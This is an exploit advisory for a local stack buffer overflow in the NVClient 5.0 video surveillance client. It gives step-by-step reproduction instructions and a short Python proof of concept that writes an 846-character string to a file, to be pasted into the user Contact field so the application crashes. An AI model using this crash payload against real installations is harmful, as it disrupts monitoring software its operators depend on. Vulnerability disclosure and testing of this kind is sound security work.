NVClient 5.0 Stack Buffer Overflow

# Exploit Title: NVClient v5.0 - Stack Buffer Overflow (DoS)# Discovered by: Ahmet Ümit BAYRAM# Discovered Date: 2023-08-19# Software Link: http://www.neonguvenlik.com/yuklemeler/yazilim/kst-f919-hd2004.rar# Software Manual: http://download.eyemaxdvr.com/DVST%20ST%20SERIES/CMS/Video%20Surveillance%20Management%20Software(V5.0).pdf# Vulnerability Type: Buffer Overflow Local# Tested On: Windows 10 64bit# Tested Version: 5.0# Steps to Reproduce:# 1- Run the python script and create exploit.txt file# 2- Open the application and log in# 3- Click the "Config" button in the upper menu# 4- Click the "User" button just below it# 5- Now click the "Add users" button in the lower left# 6- Fill in the Username, Password, and Confirm boxes# 7- Paste the characters from exploit.txt into the Contact box# 8- Click OK and crash!#!/usr/bin/env python3exploit = 'A' * 846try:    with open("exploit.txt","w") as file:        file.write(exploit)    print("POC is created")except:    print("POC not created")